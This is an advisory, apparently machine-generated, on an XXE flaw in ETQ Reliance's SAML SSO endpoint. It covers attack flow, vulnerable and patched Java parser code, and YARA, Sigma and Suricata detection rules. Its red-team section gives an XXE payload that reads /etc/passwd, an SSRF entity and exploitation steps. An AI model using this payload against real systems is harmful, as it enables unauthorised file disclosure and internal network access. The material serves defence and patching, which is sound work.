CVE-2025-34142

Executive Summary

CVE-2025-34142 is an XML External Entity (XXE) injection vulnerability in ETQ Reliance on the CG (legacy) platform. The flaw resides in the /resources/sessions/sso endpoint, where the SAML authentication handler processes XML input without disabling external entity resolution. This allows an attacker to craft a malicious SAML response that invokes external entity references, potentially leading to sensitive file disclosure or server-side request forgery (SSRF). The vulnerability affects versions prior to SE.2025.1 and 2025.1.2. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vendor has released patches to disable external entity processing in the XML parser.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder or unassigned. Based on the vulnerability characteristics (XXE leading to file disclosure and SSRF), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)
• Base Score: 7.5 (High)

Threat Level: High. The vulnerability allows unauthenticated remote attackers to read sensitive files or perform SSRF, which can lead to further compromise of internal systems.

Deep Dive & Mechanics

The vulnerability is an XML External Entity (XXE) injection in the SAML authentication handler of ETQ Reliance (CG platform). The /resources/sessions/sso endpoint accepts SAML responses in XML format. When the XML parser processes the SAML assertion, it does not disable external entity resolution. This allows an attacker to include a malicious DOCTYPE declaration with an external entity that references a local file or an internal URL.

Attack Flow:

1. The attacker crafts a SAML response containing an XXE payload.
2. The payload defines an external entity that reads a sensitive file (e.g., /etc/passwd) or makes an HTTP request to an internal server.
3. The XML parser resolves the entity, and the content is included in the response or processed by the server.
4. The attacker can then exfiltrate the data via the response or observe side effects (e.g., timing, error messages).

Impact:

• File Disclosure: Read arbitrary files on the server (e.g., configuration files, credentials).
• SSRF: Make requests to internal systems, potentially bypassing firewalls and accessing sensitive services.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable XML parser configuration
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// External entities are not disabled
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

Patched Code (Conceptual):

// Patched XML parser configuration
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

The patch disables DOCTYPE declarations and external entity processing, preventing XXE attacks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the /resources/sessions/sso endpoint.
• Ability to send a crafted SAML response.

Exploit Payload (Conceptual):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
  <saml:Assertion>
    <saml:AttributeStatement>
      <saml:Attribute Name="uid">
        <saml:AttributeValue>&xxe;</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

Steps:

1. Intercept a SAML authentication request to the /resources/sessions/sso endpoint.
2. Replace the SAML response with the crafted payload.
3. Observe the response for the contents of /etc/passwd or other sensitive data.

For SSRF:

<!ENTITY xxe SYSTEM "http://internal-server:8080/admin">

Blue Team

Detection:

• Monitor for unusual XML payloads containing DOCTYPE, ENTITY, or SYSTEM keywords.
• Look for outbound connections from the application server to unexpected internal IPs or ports.
• Check for error messages indicating XML parsing failures.

Hunting:

• Search logs for requests to /resources/sessions/sso with suspicious XML content.
• Use network monitoring to detect SSRF attempts (e.g., connections to internal services).

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the ETQ server to internal IPs on unusual ports (e.g., 8080, 8443).
  • HTTP requests containing <!DOCTYPE or <!ENTITY in the body.
• File System:
  • Unexpected access to sensitive files (e.g., /etc/passwd, /etc/shadow, configuration files).
• Logs:
  • XML parsing errors in application logs.
  • SAML authentication failures with malformed XML.

Detection Engineering

YARA Rule

rule CVE_2025_34142_XXE {
    meta:
        description = "Detects XXE payloads targeting ETQ Reliance SAML endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34142"
    strings:
        $xml_doctype = /<!DOCTYPE\s+\w+\s*\[/ nocase
        $entity_system = /<!ENTITY\s+\w+\s+SYSTEM\s+["']/ nocase
        $saml_response = /<samlp:Response/
    condition:
        $saml_response and ($xml_doctype or $entity_system)
}

Sigma Rule

title: CVE-2025-34142 XXE in ETQ Reliance SAML Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XXE payloads in HTTP requests to /resources/sessions/sso
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/resources/sessions/sso'
        cs-body|contains:
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
    condition: selection
falsepositives:
    - Legitimate SAML responses with DOCTYPE (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34142 XXE in ETQ Reliance SAML Endpoint"; flow:to_server; content:"POST"; http_method; content:"/resources/sessions/sso"; http_uri; content:"<!DOCTYPE"; http_client_body; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to ETQ Reliance SE.2025.1 or 2025.1.2, which disables external entity processing in the XML parser.
2. Workaround: If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to block requests containing <!DOCTYPE, <!ENTITY, or SYSTEM in the body of POST requests to /resources/sessions/sso.
3. Network Segmentation: Restrict outbound connections from the ETQ server to only necessary external services.

Long-term Measures:

• Conduct a security review of all XML parsing components in the application.
• Implement input validation and sanitization for all XML inputs.
• Use secure XML parser configurations by default (disable external entities, DOCTYPE declarations).

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.